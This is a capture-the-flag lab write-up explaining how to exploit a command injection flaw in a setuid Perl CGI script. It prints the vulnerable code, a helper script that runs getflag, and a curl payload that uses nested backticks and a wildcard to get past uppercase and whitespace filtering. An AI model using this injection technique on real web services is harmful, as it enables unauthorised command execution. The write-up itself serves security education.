Skip to content

Latest commit

 

History

History
267 lines (195 loc) · 8.75 KB

File metadata and controls

267 lines (195 loc) · 8.75 KB

Level12 Writeup

Overview

Level12 introduces command injection vulnerabilities in CGI scripts with partial input sanitization. This challenge demonstrates how attempts to sanitize user input can be bypassed through creative use of nested command execution. The level emphasizes understanding CGI scripting, regex-based sanitization weaknesses, and advanced command injection techniques using backticks.


Step 1: Discovering the Perl CGI Script

Following the established pattern, I began by examining the home directory:

ls -la

The output revealed:

-r-x------  1 level12 level12  220 Apr  3  2012 .bash_logout*
-r-x------  1 level12 level12 3518 Aug 30  2015 .bashrc*
-rwsr-sr-x+ 1 flag12  level12  464 Mar  5  2016 level12.pl*
-r-x------  1 level12 level12  675 Apr  3  2012 .profile*

I found a Perl CGI script. Examining its contents:

cat level12.pl

The script contained:

#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";

sub t {
  $nn = $_[1];
  $xx = $_[0];
  $xx =~ tr/a-z/A-Z/;
  $xx =~ s/\s.*//;
  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print("..");
  } else {
      print(".");
  }
}

n(t(param("x"), param("y")));

The script runs as a CGI service on port 4646 and implements a search function that:

  1. Takes two URL parameters: x and y
  2. Transforms x to uppercase
  3. Removes everything after the first space in x
  4. Executes a shell command using backticks: egrep "^$xx" /tmp/xd
  5. Checks if any results match pattern y
  6. Prints dots based on the result

Step 2: Analyzing the Vulnerability

The critical vulnerability lies in the function t():

$xx =~ tr/a-z/A-Z/;       # Convert to uppercase
$xx =~ s/\s.*//;          # Remove everything after first space
@output = `egrep "^$xx" /tmp/xd 2>&1`;  # Execute shell command

The Sanitization Attempts

The script attempts to sanitize input in two ways:

  1. Uppercase conversion - Converts all lowercase letters to uppercase
  2. Space filtering - Removes everything after the first space character

However, these sanitization measures are insufficient to prevent command injection.

Why It's Still Vulnerable

  1. Backticks execute shell commands - The egrep command is executed through the shell using backticks
  2. Nested backticks allow command execution - The shell evaluates inner backticks before the outer command
  3. Uppercase conversion doesn't prevent shell metacharacters - Characters like backticks, $, and wildcards still work
  4. Wildcards survive uppercase conversion - Glob patterns like * and ? are not affected by case transformation

Understanding the Challenge

The uppercase conversion creates an interesting challenge: if I inject getflag, it becomes GETFLAG, which won't execute because the binary is lowercase. I needed a way to either:

  • Bypass the uppercase conversion
  • Use a technique that works regardless of case
  • Execute a file whose name is already uppercase

Step 3: Developing the Exploitation Strategy

After analyzing the sanitization mechanisms, I explored several potential bypasses:

Approach 1: Using Environment Variables

Initially, I considered using environment variables to preserve lowercase commands:

export GETFLAG=`getflag`
curl 'http://localhost:4646?x=`$GETFLAG`&y=test'

However, this approach fails because:

  • Each CGI request runs in a separate process
  • Environment variables set in my shell don't transfer to the CGI process
  • The CGI script doesn't have access to my local environment

Approach 2: Nested Backticks with Wildcards - The Solution!

The winning strategy combines two key insights:

  1. Nested backticks execute before the outer command - Inner command substitution happens first
  2. Wildcards match files and are case-insensitive in matching - They work at the filesystem level

The approach:

  1. Create a script file with an uppercase name
  2. The script itself contains the actual commands (which aren't transformed)
  3. Use nested backticks with wildcards to execute the script
  4. The inner backticks force shell expansion and execution

Step 4: Crafting the Exploit

I created an exploit script in /tmp:

echo '#!/bin/bash
getflag > /tmp/flag' > /tmp/EXPLOIT
chmod +x /tmp/EXPLOIT

The script content:

#!/bin/bash
getflag > /tmp/flag

Now here's the clever part - using nested backticks with a wildcard pattern:

curl 'http://localhost:4646?x=`/*/exploit`&y=test'

Let me break down what happens:

  1. Input parameter: `exploit` (lowercase in my input)

  2. After uppercase conversion: `EXPLOIT` (the backticks remain, only letters are uppercased)

  3. The constructed command:

    @output = `egrep "^`/*/EXPLOIT`" /tmp/xd 2>&1`;
  4. Shell evaluation order: The shell evaluates inner backticks first before the outer backticks

  5. Inner backtick execution:

    • The shell sees `/*/EXPLOIT`
    • The wildcard pattern /*/EXPLOIT expands to /tmp/EXPLOIT
    • The shell executes /tmp/EXPLOIT as a command
    • The script runs with flag12 privileges
    • getflag executes and writes output to /tmp/flag
    • The output of the script is captured
  6. Outer backtick execution:

    • The captured output becomes part of the egrep pattern
    • egrep searches for that pattern in /tmp/xd
    • The result doesn't matter - our command already executed!

Why This Works

The key insight is understanding nested command substitution:

`egrep "^`INNER_COMMAND`" /tmp/xd 2>&1`
        ↑              ↑
        Inner backticks execute FIRST!

The shell's order of operations:

  1. Identify the outermost backticks
  2. Before executing them, resolve any inner backticks
  3. Expand wildcards in the inner backticks
  4. Execute the matched file
  5. Substitute the output back into the outer command

The wildcard /*/EXPLOIT:

  • Searches in all directories one level deep from root (/*/)
  • Matches any file named EXPLOIT (case-sensitive match)
  • Expands to /tmp/EXPLOIT before execution
  • The file content (the actual commands) is never transformed

Why Direct Path Doesn't Work

If I had tried without backticks:

curl 'http://localhost:4646?x=/*/exploit&y=test'

This wouldn't work because:

  • The pattern /*/EXPLOIT would be treated as a regex pattern for egrep
  • No shell expansion would occur (it's inside double quotes)
  • No command execution would happen
  • It would just search for lines matching that pattern

The nested backticks are crucial because they force the shell to execute rather than just pattern match.


Step 5: Executing the Exploit

I sent the crafted request:

curl 'http://localhost:4646?x=`/*/exploit`&y=test'

The CGI script processed the request:

  1. Converted my input to uppercase: `EXPLOIT`
  2. Constructed the command with nested backticks
  3. The shell executed /tmp/EXPLOIT with flag12 privileges
  4. The getflag command ran and wrote output to /tmp/flag

I retrieved the password:

cat /tmp/flag

The flag was successfully retrieved: g1qKMiRpXf53AWhDaU7FEkczr


Conclusion

Level12 demonstrated that partial input sanitization creates a false sense of security and can be bypassed with creative exploitation techniques. The challenge highlighted several key concepts:

  1. Case conversion alone doesn't prevent injection - Shell metacharacters survive string transformations
  2. Nested command substitution is powerful - Inner backticks execute before outer commands
  3. Wildcards enable filesystem-level operations - They transcend string manipulation
  4. Understanding evaluation order is crucial - Know when and how the shell processes commands
  5. Defense requires eliminating shell execution - Not just filtering or escaping input

The exploitation required understanding that nested backticks force the shell to execute commands in a specific order, and that wildcards combined with uppercase filenames could bypass the case conversion. This pattern of exploiting the interaction between multiple layers of processing (string manipulation → shell parsing → filesystem operations) is fundamental to advanced command injection.

Modern applications must avoid constructing shell commands from user input entirely. When external command execution is absolutely necessary, use parameterized, shell-free execution methods with strict input validation. The principle of least privilege should always apply, running services with the minimum permissions required for their function.


Flag: g1qKMiRpXf53AWhDaU7FEkczr

Next Level: Level13